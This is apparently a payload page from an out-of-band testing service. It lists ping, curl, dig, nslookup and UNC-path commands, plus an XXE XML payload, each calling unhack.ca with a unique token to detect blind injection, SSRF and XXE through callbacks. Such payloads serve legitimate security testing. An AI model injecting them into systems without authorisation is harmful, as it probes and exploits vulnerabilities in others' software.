$ ping -c1 -p 00d2abc05a7a91c51888b911b6cfda00 unhack.ca
 

$ curl http://unhack.ca/p/d2abc05a7a91c51888b911b6cfda
 

$ dig d2abc05a7a91c51888b911b6cfda @unhack.ca
 

$ dig d2abc05a7a91c51888b911b6cfda.ns.unhack.ca
 

C:\> nslookup d2abc05a7a91c51888b911b6cfda unhack.ca
 

C:\> type \\unhack.ca\d2abc05a7a91c51888b911b6cfda\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d2abc05a7a91c51888b911b6cfda">]>
    <foo>&xxe;</foo>